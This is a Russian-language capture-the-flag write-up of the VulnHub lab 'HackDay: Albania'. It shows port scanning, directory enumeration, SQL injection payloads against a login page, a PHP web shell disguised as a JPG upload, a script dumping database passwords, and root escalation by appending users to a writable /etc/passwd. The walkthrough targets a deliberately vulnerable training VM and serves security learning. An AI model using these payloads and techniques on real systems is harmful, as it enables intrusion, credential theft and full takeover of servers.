VulnHub Разбор HackDay: Albania

в 21:26, , рубрики: ctf, hackday, vulnerability, vulnhub, write-up, информационная безопасность, метки:

Продолжаем разбор лаб с VulnHub. На этот раз займемся HackDay: Albania
К образу имеется следующее описание, из которого видно, что это таск с HackDay Albania's 2016 CTF

This was used in HackDay Albania's 2016 CTF.
The level is beginner to intermediate.
It uses DHCP.
Note: VMware users may have issues with the network interface doing down by default. We recommend (for once!) using Virtualbox.

Таск как и прошлый рассчитан на новичков. Поэтому в некоторые моменты в статье будут рассмотрены более подробно.

Начнём

Запускаем скачанный образ в VirtualBox, и после загрузки nmap'ом ищем открытые порты:

sudo nmap 192.168.1.1-255 -sV

Starting Nmap 7.01 ( nmap.org ) at 2016-12-18 00:03 MSK
Nmap scan report for 192.168.1.44
Host is up (0.0013s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
8008/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:98:0D:5F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Переходим по 192.168.1.44:8008 видим всплывающее окно
VulnHub Разбор HackDay: Albania - 1

И коммент в коде страницы:

OK ok, por jo ketu :)

Посмотрим содержимое файла robots.txt

robots.txt

Disallow: /rkfpuzrahngvat/
Disallow: /slgqvasbiohwbu/
Disallow: /tmhrwbtcjpixcv/
Disallow: /vojtydvelrkzex/
Disallow: /wpkuzewfmslafy/
Disallow: /xqlvafxgntmbgz/
Disallow: /yrmwbgyhouncha/
Disallow: /zsnxchzipvodib/
Disallow: /atoydiajqwpejc/
Disallow: /bupzejbkrxqfkd/
Disallow: /cvqafkclsyrgle/
Disallow: /unisxcudkqjydw/
Disallow: /dwrbgldmtzshmf/
Disallow: /exschmenuating/
Disallow: /fytdinfovbujoh/
Disallow: /gzuejogpwcvkpi/
Disallow: /havfkphqxdwlqj/
Disallow: /ibwglqiryexmrk/
Disallow: /jcxhmrjszfynsl/
Disallow: /kdyinsktagzotm/
Disallow: /lezjotlubhapun/
Disallow: /mfakpumvcibqvo/
Disallow: /ngblqvnwdjcrwp/
Disallow: /ohcmrwoxekdsxq/
Disallow: /pidnsxpyfletyr/
Disallow: /qjeotyqzgmfuzs/

Попробовав перейти зайти в одну из этих директорий нам открывается файл index.html, с вот такой картинкой:
VulnHub Разбор HackDay: Albania - 2
background.jpg

Воспользовавшись переводчиком, понимаем что это не та директория. Для проверки всех, воспользуемся следующим скриптом для dirsearch
Запускаем:

sudo python3 robotscan.py -u http://192.168.1.44:8008 -e php,txt,html,json,bak,jpg -x 403 -w /usr/share/dirb/wordlists/big.txt

После завершения сканирования, видим что в одной из директорий /unisxcudkqjydw/ отсутствует файл background.jpg
VulnHub Разбор HackDay: Albania - 3

После перехода в эту директорию в браузере видим такой ответ:

IS there any /vulnbank/ in there ???

Смотрим содержимое директории /vulnbank/ и далее попадаем на страницу авторизации:
VulnHub Разбор HackDay: Albania - 4

Проверяем наличие sql инъекций:

sudo sqlmap -u 'http://192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/login.php' --data='username=admin&password=admin' --random-agent --level=5 --risk=3

И получаем ответ:

sqlmap resumed the following injection point(s) from stored session:
— Parameter: username (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind — WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: username=admin' RLIKE (SELECT (CASE WHEN (9555=9555) THEN 0x61646d696e ELSE 0x28 END))-- pSKE&password=admin

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind
Payload: username=admin' RLIKE SLEEP(5)-- DBgy&password=admin

Попытки сдампить содержимое таблиц к успеху не привели, sqlmap на всё выдавал ошибку: [CRITICAL] unable to retrieve the number of database users.
Пробуем вручную выполнить запрос с данными: username=admin' RLIKE SLEEP(5)-- DBgy&password=admin
И нас неожиданно редиректит в профиль какого-то пользователя:

Скрытый текст

VulnHub Разбор HackDay: Albania - 5

Отлично! Нам доступна возможность загрузки файла, пробуем что-то залить, и в ответ получаем сообщение:

After we got hacked we our allowing only image files to upload such as jpg, jpeg, bmp etc...

Ок, создаём файл

shell.jpg

<?php system($_GET['cmd']); ?>

Заливаем, и получаем сообщение, что всё прошло успешно. Загруженный файл попадает в директорию upload, а так же доступен по ссылке:
192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/view_file.php?filename=shell.jpg&cmd=id.
Но вместо заветного шела получаем сообщение:

Warning: system(): Unable to fork [id] in /var/www/html/unisxcudkqjydw/vulnbank/client/upload/shell.jpg on line 1

Попробовав несколько вариантов, обнаруживаем, что перед нами самый обычный php инклуд, без возможности выполнить системные команды.

Плюшки при работе с php shell

Заливаем через форму отправки тикетов шелл b374k
Запускаем BurpSuite и настраиваем там правило:
VulnHub Разбор HackDay: Albania - 6
P.S. без него BurpSuite каждый раз будет к запросу view_file.php?filename=myShell.jpg добавлять ?filename=myShell.jpg что приведёт к ошибкам.

Запускаем наш шелл, и переименовываем файл upload/myShell.jpg в upload/myShell.php.
Больше BurpSuite нам не понадобится. теперь шелл у нас доступен по адресу: 192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/upload/myShell.php

Можем вытянуть из БД клиентов и их пароли:

Скрытый текст

function execute_query($sql){
	$db_host = "127.0.0.1";
	$db_name = "bank_database";
	$db_user = "root";
	$db_password = "NuCiGoGo321";
	$con=mysqli_connect($db_host,$db_user,$db_password,$db_name);
	if(mysqli_connect_errno()){
	  echo "Failed to connect to MySQL: " . mysqli_connect_error();
	  die(0);
	  }
	 $response = mysqli_query($con,$sql);
	 mysqli_close($con);
	 return $response;
}
$result = execute_query("SELECT * FROM klienti;");
while($row = $result->fetch_assoc()) { print_r($row); }

Просматривая файлы и директории обнаруживаем такую запись:

passwd 1.58 KB root:root -rw-r--rw- 22-Oct-2016 17:21:42

Отлично, мы можем создать пользователя.
Создаём свой хеш пароля admin:

openssl passwd -1 -salt xyz admin

Далее вставляем через имеющийся у нас шелл вставляем в файл /etc/passwd такую запись

gh0st3rs:$1$admin$1kgWpnZpUx.vTroWPXPIB0:1001:0:GH0st3rs:/:/bin/bash
admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0:admin:/:/bin/bash

Коннектимся по ssh под пользователем gh0st3rs, далее выполняем команду

su admin

И после ввода пароля, получаем root привилегии на этой виртуальной машине

Дело за малым, осталось найти флаг.

root@hackday:/# find / -name "*flag*"
root@hackday:/# cat /root/flag.txt
Urime, 
Tani nis raportin!

d5ed38fdbf28bc4e58be142cf5a17cf5
root@hackday:/# 

P.S. После расшифровки, узнаём что флаг это md5 от rio

Автор: GH0st3rs

Источник

Поделиться

* - обязательные к заполнению поля